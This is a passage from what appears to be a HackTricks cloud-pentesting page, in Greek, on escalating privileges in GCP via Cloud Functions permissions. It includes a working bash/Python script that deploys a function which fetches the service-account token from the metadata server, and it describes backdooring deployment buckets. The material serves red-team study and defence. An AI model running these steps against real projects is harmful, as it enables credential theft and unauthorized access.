GCP - Cloudfunctions Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

cloudfunctions

Περισσότερες πληροφορίες σχετικά με τις Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να δημιουργήσει μια νέα Cloud Function με αυθαίρετο (κακόβουλο) κώδικα και να της αναθέσει έναν Service Account. Στη συνέχεια, να διαρρεύσει το token του Service Account από τα μεταδεδομένα για να κλιμακώσει τα δικαιώματα σε αυτόν. Ορισμένα δικαιώματα για να ενεργοποιηθεί η λειτουργία μπορεί να απαιτούνται.

Τα σενάρια εκμετάλλευσης για αυτή τη μέθοδο μπορούν να βρεθούν εδώ και εδώ και το προεγκατεστημένο αρχείο .zip μπορεί να βρεθεί εδώ.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να τροποποιήσει τον κώδικα μιας Function και ακόμη και να τροποποιήσει τον service account που είναι συνδεδεμένος με στόχο την εξαγωγή του token.

Για να αναπτύξετε cloud functions θα χρειαστείτε επίσης δικαιώματα actAs πάνω από τον προεπιλεγμένο service account υπολογιστή ή πάνω από τον service account που χρησιμοποιείται για την κατασκευή της εικόνας.

Ορισμένα επιπλέον δικαιώματα όπως η άδεια .call για την έκδοση 1 των cloudfunctions ή ο ρόλος role/run.invoker για να ενεργοποιήσετε τη λειτουργία μπορεί να απαιτούνται.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Αν λάβετε το σφάλμα Permission 'run.services.setIamPolicy' denied on resource... είναι επειδή χρησιμοποιείτε την παράμετρο --allow-unauthenticated και δεν έχετε αρκετά δικαιώματα γι' αυτό.

Το exploit script για αυτή τη μέθοδο μπορεί να βρεθεί εδώ.

cloudfunctions.functions.sourceCodeSet

Με αυτή την άδεια μπορείτε να αποκτήσετε μια υπογεγραμμένη διεύθυνση URL για να μπορέσετε να ανεβάσετε ένα αρχείο σε έναν κάδο λειτουργίας (αλλά ο κώδικας της λειτουργίας δεν θα αλλάξει, πρέπει ακόμα να τον ενημερώσετε)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Δεν είμαι σίγουρος πόσο χρήσιμη είναι μόνο αυτή η άδεια από την οπτική γωνία ενός επιτιθέμενου, αλλά καλό είναι να το γνωρίζουμε.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Δώστε στον εαυτό σας οποιαδήποτε από τα προηγούμενα .update ή .create δικαιώματα για να κλιμακώσετε.

cloudfunctions.functions.update

Έχοντας μόνο cloudfunctions δικαιώματα, χωρίς iam.serviceAccounts.actAs δεν θα μπορείτε να ενημερώσετε τη λειτουργία, ΟΠΟΤΕ ΑΥΤΟ ΔΕΝ ΕΙΝΑΙ ΜΙΑ ΕΓΚΥΡΗ ΚΛΙΜΑΚΩΣΗ.

Πρόσβαση Ανάγνωσης & Εγγραφής πάνω στον κάδο

Εάν έχετε πρόσβαση ανάγνωσης και εγγραφής πάνω στον κάδο, μπορείτε να παρακολουθείτε τις αλλαγές στον κώδικα και όποτε γίνεται ενημέρωση στον κάδο μπορείτε να ενημερώσετε τον νέο κώδικα με τον δικό σας κώδικα ώστε η νέα έκδοση της Cloud Function να εκτελείται με τον υποβληθέντα κώδικα με backdoor.

Μπορείτε να ελέγξετε περισσότερα σχετικά με την επίθεση στο:

GCP - Storage Privesc

Ωστόσο, δεν μπορείτε να το χρησιμοποιήσετε για να προ-συμβιβάσετε τρίτες Cloud Functions, επειδή αν δημιουργήσετε τον κάδο στον λογαριασμό σας και του δώσετε δημόσιες άδειες ώστε το εξωτερικό έργο να μπορεί να γράψει πάνω του, θα λάβετε το εξής σφάλμα:

Ωστόσο, αυτό θα μπορούσε να χρησιμοποιηθεί για επιθέσεις DoS.

Πρόσβαση Ανάγνωσης & Εγγραφής πάνω στο Artifact Registry

Όταν δημιουργείται μια Cloud Function, μια νέα εικόνα docker αποστέλλεται στο Artifact Registry του έργου. Προσπάθησα να τροποποιήσω την εικόνα με μια νέα και ακόμη και να διαγράψω την τρέχουσα εικόνα (και την εικόνα cache) και τίποτα δεν άλλαξε, η cloud function συνεχίζει να λειτουργεί. Επομένως, ίσως να είναι δυνατό να εκμεταλλευτείτε μια επίθεση Race Condition όπως με τον κάδο για να αλλάξετε το docker container που θα εκτελείται, αλλά απλά τροποποιώντας την αποθηκευμένη εικόνα δεν είναι δυνατό να συμβιβάσετε την Cloud Function.

Αναφορές

• https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.